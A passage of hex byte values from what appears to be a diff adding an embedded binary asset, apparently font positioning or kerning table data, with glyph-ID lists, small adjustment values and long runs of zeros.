0x00, 0xF5, 0x00, 0xF7, + 0x00, 0xF9, 0x00, 0xFB, 0x00, 0xFD, 0x00, 0xFF, + 0x01, 0x01, 0x01, 0x03, 0x01, 0x05, 0x01, 0x07, + 0x01, 0x09, 0x01, 0x0B, 0x01, 0x0D, 0x01, 0x0F, + 0x01, 0x11, 0x01, 0x13, 0x01, 0x15, 0x01, 0x17, + 0x01, 0x19, 0x01, 0x1B, 0x01, 0x1D, 0x01, 0x1F, + 0x01, 0x21, 0x01, 0x23, 0x01, 0x25, 0x01, 0x27, + 0x01, 0x2A, 0x01, 0x2C, 0x01, 0x2E, 0x01, 0x30, + 0x01, 0x32, 0x01, 0x34, 0x01, 0x36, 0x01, 0x38, + 0x01, 0x3B, 0x01, 0x3D, 0x01, 0x3F, 0x01, 0x41, + 0x01, 0x43, 0x01, 0x45, 0x01, 0x47, 0x01, 0x49, + 0x01, 0x4B, 0x01, 0x4D, 0x01, 0x4F, 0x01, 0x51, + 0x01, 0x53, 0x01, 0x55, 0x01, 0x57, 0x01, 0x59, + 0x01, 0x5B, 0x01, 0x5D, 0x01, 0x5F, 0x01, 0x61, + 0x01, 0x63, 0x01, 0x65, 0x01, 0x67, 0x01, 0x69, + 0x01, 0x6A, 0x01, 0x6C, 0x01, 0x6E, 0x01, 0x83, + 0x80, 0x1A, 0x80, 0x48, 0x80, 0x7F, 0x80, 0x88, + 0x80, 0xDB, 0x80, 0xDC, 0x80, 0xDF, 0x80, 0xF0, + 0x80, 0xF2, 0x80, 0xF8, 0x81, 0x05, 0x81, 0x2E, + 0x81, 0x34, 0x81, 0x35, 0x81, 0x36, 0x81, 0x37, + 0x81, 0x38, 0x81, 0x39, 0x81, 0x3A, 0x81, 0x3B, + 0x81, 0x3C, 0x81, 0x3D, 0x81, 0x3E, 0x81, 0x3F, + 0x81, 0x40, 0x81, 0x41, 0x81, 0x42, 0x81, 0x43, + 0x81, 0x44, 0x81, 0x45, 0x81, 0x46, 0x81, 0x47, + 0x81, 0x48, 0x81, 0x49, 0x81, 0x4A, 0x81, 0x4B, + 0x81, 0x4C, 0x81, 0x4D, 0x81, 0x4E, 0x81, 0x54, + 0x96, 0x0B, 0x96, 0x10, 0x96, 0x11, 0x96, 0x12, + 0x96, 0x13, 0x96, 0x14, 0x96, 0x15, 0x96, 0x16, + 0x96, 0x17, 0x96, 0x18, 0x96, 0x19, 0x96, 0x86, + 0x96, 0x87, 0x96, 0x88, 0x96, 0x89, 0x96, 0x8A, + 0x96, 0x8B, 0x96, 0x8C, 0x96, 0x8D, 0x96, 0x8E, + 0x96, 0x8F, 0x96, 0x90, 0x96, 0x91, 0x96, 0x92, + 0x96, 0x93, 0x96, 0x94, 0x96, 0x95, 0x96, 0xB4, + 0x00, 0x01, 0x07, 0x12, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x3E, 0x00, 0x86, 0x00, 0xAC, 0x00, 0xB2, + 0x01, 0x64, 0x01, 0xB2, 0x02, 0x04, 0x02, 0x8E, + 0x02, 0x98, 0x02, 0xA2, 0x02, 0xA2, 0x02, 0xA2, + 0x02, 0x04, 0x02, 0xC0, 0x02, 0x98, 0x02, 0x98, + 0x02, 0x98, 0x02, 0x98, 0x02, 0xA2, 0x02, 0xA2, + 0x02, 0xC0, 0x02, 0xA2, 0x02, 0xF6, 0x02, 0x04, + 0x02, 0x04, 0x02, 0x8E, 0x03, 0x00, 0x04, 0x32, + 0x03, 0x00, 0x03, 0x00, 0x03, 0x00, 0x03, 0x00, + 0x03, 0x00, 0x04, 0x58, 0x05, 0xBA, 0x02, 0xA2, + 0x06, 0x0C, 0x06, 0x4A, 0x06, 0x4A, 0x06, 0x4A, + 0x06, 0x4A, 0x06, 0x4A, 0x06, 0x88, 0x06, 0x88, + 0x06, 0x88, 0x06, 0x88, 0x06, 0x88, 0x02, 0xA2, + 0x02, 0xA2, 0x02, 0xA2, 0x02, 0xA2, 0x02, 0x8E, + 0x06, 0x88, 0x06, 0x88, 0x06, 0x88, 0x02, 0x98, + 0x03, 0x00, 0x03, 0x00, 0x03, 0x00, 0x03, 0x00, + 0x03, 0x00, 0x03, 0x00, 0x02, 0x8E, 0x00, 0x09, + 0x00, 0x5A, 0xFF, 0xF2, 0x00, 0xDD, 0xFF, 0xF2, + 0x00, 0xDF, 0xFF, 0xF2, 0x00, 0xE0, 0x00, 0x09, + 0x01, 0x1A, 0xFF, 0xF2, 0x01, 0x1C, 0xFF, 0xF2, + 0x01, 0x1E, 0xFF, 0xF2, 0x01, 0x24, 0xFF, 0xF2, + 0x01, 0x26, 0xFF, 0xF2, 0x00, 0x01, 0x00, 0xE0, + 0xFF, 0xFC, 0x00, 0x2C, 0x00, 0x5A, 0xFF, 0xD5, + 0x00, 0x5B, 0xFF, 0xD5, 0x00, 0xD1, 0xFF, 0xCE, + 0x00, 0xD4, 0xFF, 0xCE, 0x00, 0xD5, 0xFF, 0xCE, + 0x00, 0xD9, 0xFF, 0xCE, 0x00, 0xDB, 0xFF, 0xCE, + 0x00, 0xDC, 0xFF, 0xCE, 0x00, 0xDD, 0xFF, 0xEC, + 0x00, 0xDE, 0xFF, 0xA1, 0x00, 0xDF, 0xFF, 0xF2, + 0x00, 0xE0, 0x00, 0x11, 0x00, 0xE3, 0xFF, 0xCE, + 0x00, 0xE6, 0xFF, 0xCE, 0x00, 0xE7, 0xFF, 0xCE, + 0x00, 0xF0, 0xFF, 0xD3, 0x00, 0xF2, 0xFF, 0xCE, + 0x00, 0xF4, 0xFF, 0xCE, 0x01, 0x04, 0xFF, 0xCE, + 0x01, 0x06, 0xFF, 0xCE, 0x01, 0x0C, 0xFF, 0xCE, + 0x01, 0x1A, 0xFF, 0xF2, 0x01, 0x1C, 0xFF, 0xF2, + 0x01, 0x1E, 0xFF, 0xF2, 0x01, 0x22, 0xFF, 0xA5, + 0x01, 0x24, 0xFF, 0xD5, 0x01, 0x26, 0xFF, 0xDC, + 0x01, 0x3E, 0xFF, 0xCE, 0x01, 0x40, 0xFF, 0xCE, + 0x01, 0x66, 0xFF, 0xD3, 0x80, 0x34, 0xFF, 0xFD, + 0x80, 0x36, 0xFF, 0xFD, 0x80, 0x38, 0xFF, 0xFD, + 0x80, 0x3A, 0xFF, 0xFD, 0x80, 0x3C, 0xFF, 0xFB, + 0x80, 0x3E, 0xFF, 0xFD, 0x80, 0x42, 0xFF, 0xFD, + 0x96, 0x5B, 0xFF, 0xFD, 0x96, 0x5D, 0xFF, 0xFD, + 0x96, 0x5F, 0xFF, 0xFD, 0x96, 0x85, 0xFF, 0xFD, + 0x97, 0xC4, 0xFF, 0xFB, 0x97, 0xC6, 0xFF, 0xFD, + 0x97, 0xC7, 0xFF, 0xFD, 0x00, 0x13, 0x00, 0x5A, + 0xFF, 0xE1, 0x00, 0x5B, 0xFF, 0xE1, 0x00, 0xD9, + 0xFF, 0xC8, 0x00, 0xDC, 0xFF, 0xC8, 0x00, 0xDD, + 0xFF, 0xE0, 0x00, 0xDE, 0xFF, 0xAD, 0x00, 0xDF, + 0xFF, 0xE1, 0x00, 0xE0, 0x00, 0x0A, 0x00, 0xE7, + 0xFF, 0xC8, 0x00, 0xF0, 0xFF, 0xBA, 0x01, 0x04, + 0xFF, 0xC8, 0x01, 0x06, 0xFF, 0xC8, 0x01, 0x1A, + 0x00, 0x0A, 0x01, 0x1C, 0x00, 0x0A, 0x01, 0x1E, + 0x00, 0x0A, 0x01, 0x22, 0xFF, 0xB2, 0x01, 0x24, + 0xFF, 0xE1, 0x01, 0x26, 0xFF, 0xE1, 0x01, 0x66, + 0xFF, 0xBA, 0x00, 0x14, 0x00, 0x5A, 0xFF, 0xE5, + 0x00, 0x5B, 0xFF, 0xE5, 0x00, 0xD9, 0xFF, 0xC3, + 0x00, 0xDB, 0xFF, 0xC3, 0x00, 0xDC, 0xFF, 0xC4, + 0x00, 0xDD, 0xFF, 0xEF, 0x00, 0xDE, 0xFF, 0xE5, + 0x00, 0xDF, 0xFF, 0xD3, 0x00, 0xE0, 0x00, 0x02, + 0x00, 0xF0, 0xFF, 0xBA, 0x01, 0x04, 0xFF, 0xC3, + 0x01, 0x06, 0xFF, 0xC4, 0x01, 0x0C, 0xFF, 0xC4, + 0x01, 0x1A, 0xFF, 0xE1, 0x01, 0x1C, 0xFF, 0xE1, + 0x01, 0x1E, 0xFF, 0xE1, 0x01, 0x22, 0xFF, 0xBD, + 0x01, 0x24, 0xFF, 0xE5, 0x01, 0x26, 0xFF, 0xD3, + 0x01, 0x66, 0xFF, 0xBA, 0x00, 0x22, 0x00, 0x5A, + 0xFF, 0xDA, 0x00, 0x5B, 0xFF, 0xE7, 0x00, 0xD5, + 0xFF, 0xBD, 0x00, 0xD9, 0xFF, 0xB7, 0x00, 0xDB, + 0xFF, 0xB7, 0x00, 0xDC, 0xFF, 0xBD, 0x00, 0xDD, + 0xFF, 0xE9, 0x00, 0xDE, 0xFF, 0xDA, 0x00, 0xDF, + 0xFF, 0xDA, 0x00, 0xE0, 0x00, 0x02, 0x00, 0xE7, + 0xFF, 0xBD, 0x00, 0xF0, 0xFF, 0xAE, 0x01, 0x04, + 0xFF, 0xB7, 0x01, 0x06, 0xFF, 0xB7, 0x01, 0x0C, + 0xFF, 0xB7, 0x01, 0x1A, 0xFF, 0xE9, 0x01, 0x1C, + 0xFF, 0xE9, 0x01, 0x1E, 0xFF, 0xE9, 0x01, 0x20, + 0xFF, 0xDA, 0x01, 0x24, 0xFF, 0xDA, 0x01, 0x26, + 0xFF, 0xE7, 0x01, 0x66, 0xFF, 0xAE, 0x80, 0x34, + 0x00, 0x05, 0x80, 0x36, 0xFF, 0xDF, 0x80, 0x38, + 0x00, 0x05, 0x80, 0x3C, 0x00, 0x05, 0x80, 0x3E, + 0x00, 0x05, 0x80, 0x42, 0x00, 0x05, 0x96, 0x5B, + 0x00, 0x05, 0x96, 0x5D, 0x00, 0x05, 0x96, 0x5F, + 0x00, 0x05, 0x97, 0xC4, 0x00, 0x05, 0x97, 0xC6, + 0xFF, 0xDF, 0x97, 0xC7, 0x00, 0x05, 0x00, 0x02, + 0x00, 0x12, 0x00, 0x49, 0x00, 0x30, 0x00, 0x52, + 0x00, 0x02, 0x00, 0x5B, 0x00, 0x1C, 0x01, 0x26, + 0x00, 0x1C, 0x00, 0x07, 0x00, 0x45, 0xFF, 0xC1, + 0x01, 0x53, 0xFF, 0xC1, 0x01, 0x55, 0xFF, 0xC1, + 0x80, 0x93, 0xFF, 0xC1, 0x80, 0x95, 0xFF, 0xC1, + 0x80, 0x97, 0xFF, 0xC1, 0x80, 0x98, 0xFF, 0xC1, + 0x00, 0x0D, 0x00, 0x53, 0x00, 0x0F, 0x00, 0x59, + 0x00, 0x0F, 0x00, 0x5C, 0x00, 0x0F, 0x00, 0x5D, + 0x00, 0x0F, 0x00, 0xEF, 0x00, 0x0F, 0x01, 0x16, + 0x00, 0x0F, 0x01, 0x18, 0x00, 0x0F, 0x01, 0x28, + 0x00, 0x0F, 0x01, 0x2B, 0x00, 0x0F, 0x01, 0x2D, + 0x00, 0x0F, 0x01, 0x2F, 0x00, 0x0F, 0x01, 0x31, + 0x00, 0x0F, 0x80, 0xF7, 0x00, 0x0F, 0x00, 0x02, + 0x00, 0xF0, 0xFF, 0xBA, 0x01, 0x66, 0xFF, 0xBA, + 0x00, 0x4C, 0x7F, 0xF0, 0xFF, 0xFB, 0x7F, 0xF2, + 0xFF, 0xFB, 0x7F, 0xF4, 0xFF, 0xFB, 0x7F, 0xF6, + 0xFF, 0xFB, 0x7F, 0xF8, 0xFF, 0xFB, 0x7F, 0xFA, + 0xFF, 0xFB, 0x80, 0x1E, 0xFF, 0xFB, 0x80, 0x20, + 0xFF, 0xFB, 0x80, 0x22, 0xFF, 0xFB, 0x80, 0x24, + 0xFF, 0xFB, 0x80, 0x26, 0xFF, 0xFB, 0x80, 0x64, + 0xFF, 0xFB, 0x80, 0x66, 0xFF, 0xFB, 0x80, 0x67, + 0xFF, 0xFB, 0x80, 0x69, 0xFF, 0xFB, 0x80, 0x6B, + 0xFF, 0xFB, 0x80, 0x6D, 0xFF, 0xFB, 0x80, 0x6F, + 0xFF, 0xFB, 0x80, 0x71, 0xFF, 0xFB, 0x80, 0x73, + 0xFF, 0xFB, 0x80, 0x75, 0xFF, 0xFB, 0x80, 0x77, + 0xFF, 0xFB, 0x80, 0x79, 0xFF, 0xFB, 0x80, 0x7D, + 0xFF, 0xFB, 0x81, 0xEA, 0xFF, 0xFB, 0x81, 0xEB, + 0xFF, 0xFB, 0x81, 0xEC, 0xFF, 0xFB, 0x81, 0xED, + 0xFF, 0xFB, 0x81, 0xEE, 0xFF, 0xFB, 0x81, 0xEF, + 0xFF, 0xFB, 0x81, 0xF0, 0xFF, 0xFB, 0x81, 0xF1, + 0xFF, 0xFB, 0x81, 0xF2, 0xFF, 0xFB, 0x81, 0xF3, + 0xFF, 0xFB, 0x81, 0xF4, 0xFF, 0xFB, 0x81, 0xF5, + 0xFF, 0xFB, 0x81, 0xF6, 0xFF, 0xFB, 0x82, 0x19, + 0xFF, 0xFB, 0x82, 0x1A, 0xFF, 0xFB, 0x82, 0x1B, + 0xFF, 0xFB, 0x82, 0x1C, 0xFF, 0xFB, 0x82, 0x1D, + 0xFF, 0xFB, 0x82, 0x1E, 0xFF, 0xFB, 0x82, 0x1F, + 0xFF, 0xFB, 0x82, 0x20, 0xFF, 0xFB, 0x82, 0x21, + 0xFF, 0xFB, 0x82, 0x22, 0xFF, 0xFB, 0x82, 0x23, + 0xFF, 0xFB, 0x82, 0x24, 0xFF, 0xFB, 0x82, 0x25, + 0xFF, 0xFB, 0x82, 0xEF, 0xFF, 0xFB, 0x82, 0xF1, + 0xFF, 0xFB, 0x96, 0x49, 0xFF, 0xFB, 0x96, 0x4A, + 0xFF, 0xFB, 0x96, 0x4B, 0xFF, 0xFB, 0x96, 0x4C, + 0xFF, 0xFB, 0x96, 0x55, 0xFF, 0xFB, 0x96, 0x56, + 0xFF, 0xFB, 0x96, 0x57, 0xFF, 0xFB, 0x96, 0x58, + 0xFF, 0xFB, 0x96, 0x69, 0xFF, 0xFB, 0x96, 0x6A, + 0xFF, 0xFB, 0x96, 0x6B, 0xFF, 0xFB, 0x96, 0x6C, + 0xFF, 0xFB, 0x96, 0xD2, 0xFF, 0xFB, 0x97, 0x3B, + 0xFF, 0xFB, 0x97, 0x3F, 0xFF, 0xFB, 0x97, 0x47, + 0xFF, 0xFB, 0x97, 0x49, 0xFF, 0xFB, 0x97, 0xBF, + 0xFF, 0xFB, 0x97, 0xCA, 0xFF, 0xFB, 0x97, 0xCB, + 0xFF, 0xFB, 0x97, 0xCC, 0xFF, 0xFB, 0x97, 0xCD, + 0xFF, 0xFB, 0x97, 0xCE, 0xFF, 0xFB, 0x97, 0xD0, + 0xFF, 0xFB, 0x00, 0x09, 0x00, 0x5A, 0xFF, 0xF3, + 0x00, 0xDD, 0xFF, 0xF3, 0x00, 0xDF, 0xFF, 0xF3, + 0x00, 0xE0, 0xFF, 0xF3, 0x01, 0x1A, 0xFF, 0xF3, + 0x01, 0x1C, 0xFF, 0xF3, 0x01, 0x1E, 0xFF, 0xF3, + 0x01, 0x24, 0xFF, 0xF3, 0x01, 0x26, 0xFF, 0xF3, + 0x00, 0x58, 0x00, 0x52, 0x00, 0x03, 0x00, 0x54, + 0x00, 0x03, 0x00, 0x55, 0x00, 0x03, 0x00, 0x56, + 0x00, 0x03, 0x00, 0x5A, 0x00, 0x04, 0x00, 0x5B, + 0x00, 0x04, 0x00, 0x5E, 0x00, 0x04, 0x00, 0x5F, + 0x00, 0x04, 0x00, 0x60, 0x00, 0x03, 0x00, 0x62, + 0x00, 0x03, 0x00, 0x63, 0x00, 0x04, 0x00, 0x66, + 0x00, 0x04, 0x00, 0xD1, 0x00, 0x03, 0x00, 0xD2, + 0x00, 0x03, 0x00, 0xD3, 0x00, 0x03, 0x00, 0xD4, + 0x00, 0x03, 0x00, 0xD5, 0x00, 0x03, 0x00, 0xD6, + 0x00, 0x03, 0x00, 0xD7, 0x00, 0x03, 0x00, 0xD8, + 0x00, 0x03, 0x00, 0xD9, 0x00, 0x03, 0x00, 0xDA, + 0x00, 0x03, 0x00, 0xDB, 0x00, 0x03, 0x00, 0xDC, + 0x00, 0x03, 0x00, 0xDD, 0x00, 0x04, 0x00, 0xDE, + 0x00, 0x04, 0x00, 0xDF, 0x00, 0x04, 0x00, 0xE0, + 0x00, 0x04, 0x00, 0xE1, 0x00, 0x03, 0x00, 0xE2, + 0x00, 0x04, 0x00, 0xE3, 0x00, 0x03, 0x00, 0xE4, + 0x00, 0x03, 0x00, 0xE5, 0x00, 0x03, 0x00, 0xE6, + 0x00, 0x03, 0x00, 0xE7, 0x00, 0x03, 0x00, 0xE9, + 0x00, 0x03, 0x00, 0xEA, 0x00, 0x04, 0x00, 0xEB, + 0x00, 0x04, 0x00, 0xEC, 0x00, 0x04, 0x00, 0xED, + 0x00, 0x04, 0x00, 0xF2, 0x00, 0x03, 0x00, 0xF4, + 0x00, 0x03, 0x00, 0xF6, 0x00, 0x03, 0x00, 0xF8, + 0x00, 0x03, 0x00, 0xFA, 0x00, 0x03, 0x00, 0xFC, + 0x00, 0x03, 0x00, 0xFE, 0x00, 0x03, 0x01, 0x00, + 0x00, 0x03, 0x01, 0x02, 0x00, 0x03, 0x01, 0x04, + 0x00, 0x03, 0x01, 0x06, 0x00, 0x03, 0x01, 0x08, + 0x00, 0x03, 0x01, 0x0A, 0x00, 0x03, 0x01, 0x0C, + 0x00, 0x03, 0x01, 0x1A, 0x00, 0x04, 0x01, 0x1C, + 0x00, 0x04, 0x01, 0x1E, 0x00, 0x04, 0x01, 0x20, + 0x00, 0x04, 0x01, 0x22, 0x00, 0x04, 0x01, 0x26, + 0x00, 0x04, 0x01, 0x35, 0x00, 0x04, 0x01, 0x37, + 0x00, 0x04, 0x01, 0x39, 0x00, 0x04, 0x01, 0x3C, + 0x00, 0x04, 0x01, 0x3E, 0x00, 0x03, 0x01, 0x40, + 0x00, 0x03, 0x01, 0x42, 0x00, 0x03, 0x01, 0x44, + 0x00, 0x03, 0x01, 0x46, 0x00, 0x04, 0x01, 0x48, + 0x00, 0x04, 0x01, 0x4A, 0x00, 0x04, 0x01, 0x5A, + 0x00, 0x04, 0x01, 0x5C, 0x00, 0x04, 0x01, 0x5E, + 0x00, 0x04, 0x01, 0x60, 0x00, 0x04, 0x01, 0x62, + 0x00, 0x04, 0x01, 0x64, 0x00, 0x04, 0x01, 0x92, + 0x00, 0x03, 0x80, 0xD6, 0x00, 0x03, 0x80, 0xD7, + 0x00, 0x03, 0x80, 0xD8, 0x00, 0x03, 0x80, 0xD9, + 0x00, 0x03, 0x80, 0xE1, 0x00, 0x03, 0x81, 0x03, + 0x00, 0x04, 0x81, 0x04, 0x00, 0x04, 0x81, 0x2C, + 0x00, 0x04, 0x82, 0xE6, 0x00, 0x04, 0x82, 0xEA, + 0x00, 0x04, 0x00, 0x14, 0x00, 0x5A, 0xFF, 0xDA, + 0x00, 0x5B, 0xFF, 0xEC, 0x00, 0xD9, 0xFF, 0xA6, + 0x00, 0xDC, 0xFF, 0xA6, 0x00, 0xDD, 0xFF, 0xDA, + 0x00, 0xDE, 0xFF, 0xDA, 0x00, 0xDF, 0xFF, 0xDA, + 0x00, 0xE0, 0xFF, 0xDA, 0x00, 0xF0, 0xFF, 0x9C, + 0x01, 0x04, 0xFF, 0xA6, 0x01, 0x06, 0xFF, 0xA6, + 0x01, 0x0C, 0xFF, 0xA6, 0x01, 0x1A, 0xFF, 0xDA, + 0x01, 0x1C, 0xFF, 0xDA, 0x01, 0x1E, 0xFF, 0xDA, + 0x01, 0x20, 0xFF, 0xDA, 0x01, 0x22, 0xFF, 0xDA, + 0x01, 0x24, 0xFF, 0xDA, 0x01, 0x26, 0xFF, 0xEC, + 0x01, 0x66, 0xFF, 0x9C, 0x00, 0x0F, 0x00, 0x5A, + 0xFF, 0xEE, 0x00, 0x5B, 0xFF, 0xEE, 0x00, 0xDD, + 0xFF, 0xEE, 0x00, 0xDE, 0xFF, 0xEE, 0x00, 0xDF, + 0xFF, 0xEE, 0x00, 0xE0, 0xFF, 0xEE, 0x00, 0xF0, + 0xFF, 0xDE, 0x01, 0x1A, 0xFF, 0xEE, 0x01, 0x1C, + 0xFF, 0xEE, 0x01, 0x1E, 0xFF, 0xEE, 0x01, 0x20, + 0xFF, 0xEE, 0x01, 0x22, 0xFF, 0xEE, 0x01, 0x24, + 0xFF, 0xEE, 0x01, 0x26, 0xFF, 0xED, 0x01, 0x66, + 0xFF, 0xDE, 0x00, 0x0F, 0x00, 0x5A, 0xFF, 0xF6, + 0x00, 0x5B, 0xFF, 0xF5, 0x00, 0xDD, 0xFF, 0xF6, + 0x00, 0xDE, 0xFF, 0xF6, 0x00, 0xDF, 0xFF, 0xF6, + 0x00, 0xE0, 0xFF, 0xF6, 0x00, 0xF0, 0xFF, 0xDE, + 0x01, 0x1A, 0xFF, 0xF6, 0x01, 0x1C, 0xFF, 0xF6, + 0x01, 0x1E, 0xFF, 0xF6, 0x01, 0x20, 0xFF, 0xF6, + 0x01, 0x22, 0xFF, 0xF6, 0x01, 0x24, 0xFF, 0xF6, + 0x01, 0x26, 0xFF, 0xF5, 0x01, 0x66, 0xFF, 0xDE, + 0x00, 0x22, 0x00, 0x5A, 0xFF, 0xF2, 0x00, 0x5B, + 0xFF, 0xF2, 0x00, 0xD5, 0xFF, 0x9A, 0x00, 0xD9, + 0xFF, 0x9A, 0x00, 0xDC, 0xFF, 0x9A, 0x00, 0xDD, + 0xFF, 0xF2, 0x00, 0xDE, 0xFF, 0xF2, 0x00, 0xDF, + 0xFF, 0xF2, 0x00, 0xE0, 0xFF, 0xF2, 0x00, 0xE7, + 0xFF, 0x9A, 0x00, 0xF0, 0xFF, 0xA7, 0x01, 0x04, + 0xFF, 0x9A, 0x01, 0x06, 0xFF, 0x9A, 0x01, 0x0C, + 0xFF, 0x9A, 0x01, 0x1A, 0xFF, 0xF2, 0x01, 0x1C, + 0xFF, 0xF2, 0x01, 0x1E, 0xFF, 0xF2, 0x01, 0x20, + 0xFF, 0xF2, 0x01, 0x22, 0xFF, 0xF2, 0x01, 0x24, + 0xFF, 0xF2, 0x01, 0x26, 0xFF, 0xF2, 0x01, 0x66, + 0xFF, 0xA7, 0x80, 0x34, 0x00, 0x05, 0x80, 0x36, + 0x00, 0x05, 0x80, 0x38, 0x00, 0x05, 0x80, 0x3C, + 0x00, 0x05, 0x80, 0x3E, 0x00, 0x05, 0x80, 0x42, + 0x00, 0x05, 0x96, 0x5B, 0x00, 0x05, 0x96, 0x5D, + 0x00, 0x05, 0x96, 0x5F, 0x00, 0x05, 0x97, 0xC4, + 0x00, 0x05, 0x97, 0xC6, 0x00, 0x05, 0x97, 0xC7, + 0x00, 0x05, 0x00, 0x01, 0x00, 0x3E, 0x00, 0x37, + 0x00, 0x41, 0x00, 0x45, 0x00, 0x47, 0x00, 0x48, + 0x00, 0x4A, 0x00, 0x57, 0x00, 0x58, 0x00, 0x59, + 0x00, 0x5E, 0x00, 0x5F, 0x00, 0xCE, 0x01, 0x00, + 0x01, 0x0E, 0x01, 0x10, 0x01, 0x12, 0x01, 0x14, + 0x01, 0x16, 0x01, 0x18, 0x01, 0x2F, 0x01, 0x3A, + 0x01, 0x65, 0x01, 0x67, 0x01, 0x69, 0x01, 0x70, + 0x80, 0x14, 0x80, 0x1D, 0x80, 0x5A, 0x80, 0x5C, + 0x80, 0x5E, 0x80, 0x60, 0x80, 0x62, 0x80, 0x7E, + 0x80, 0x92, 0x80, 0x93, 0x80, 0xB7, 0x80, 0xB9, + 0x80, 0xBB, 0x80, 0xBD, 0x80, 0xBF, 0x80, 0xC1, + 0x80, 0xC5, 0x80, 0xC7, 0x80, 0xC9, 0x80, 0xCB, + 0x80, 0xCD, 0x80, 0xD7, 0x80, 0xE6, 0x80, 0xEA, + 0x80, 0xFC, 0x81, 0x00, 0x82, 0xDC, 0x82, 0xDD, + 0x82, 0xDE, 0x82, 0xF0, 0x96, 0x53, 0x96, 0x66, + 0x96, 0x67, 0x96, 0x68, 0x97, 0x46, 0x97, 0xC9, + 0x9A, 0xD8, 0x00, 0x02, 0x64, 0xB6, 0x00, 0x04, + 0x00, 0x00, 0x4A, 0x26, 0x57, 0xE0, 0x00, 0x6D, + 0x00, 0x57, 0x00, 0x00, 0xFF, 0xF2, 0xFF, 0xF8, + 0xFF, 0xF8, 0xFF, 0xF6, 0xFF, 0xF5, 0xFF, 0xF9, + 0xFF, 0xBC, 0x00, 0x07, 0xFF, 0xF3, 0xFF, 0xF1, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xCA, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE9, + 0xFF, 0xE0, 0xFF, 0xEF, 0xFF, 0xCD, 0xFF, 0xDB, + 0xFF, 0xB7, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xD7, 0xFF, 0xE9, 0xFF, 0xE3, 0xFF, 0xF3, + 0xFF, 0xE9, 0xFF, 0xE9, 0xFF, 0x6E, 0x00, 0x00, + 0xFF, 0xDF, 0xFF, 0xB8, 0xFF, 0xEF, 0xFF, 0xE5, + 0xFF, 0xEE, 0xFF, 0xCC, 0xFF, 0xE0, 0xFF, 0xA6, + 0xFF, 0xBA, 0x00, 0x11, 0xFF, 0xEF, 0xFF, 0xF2, + 0x00, 0x0E, 0xFF, 0xE9, 0xFF, 0xDE, 0xFF, 0xEB, + 0xFF, 0xB2, 0xFF, 0xCD, 0xFF, 0x92, 0x00, 0x06, + 0x00, 0x07, 0xFF, 0xEF, 0xFF, 0xA7, 0x00, 0x03, + 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, + 0x00, 0x00, 0x00, 0x00, 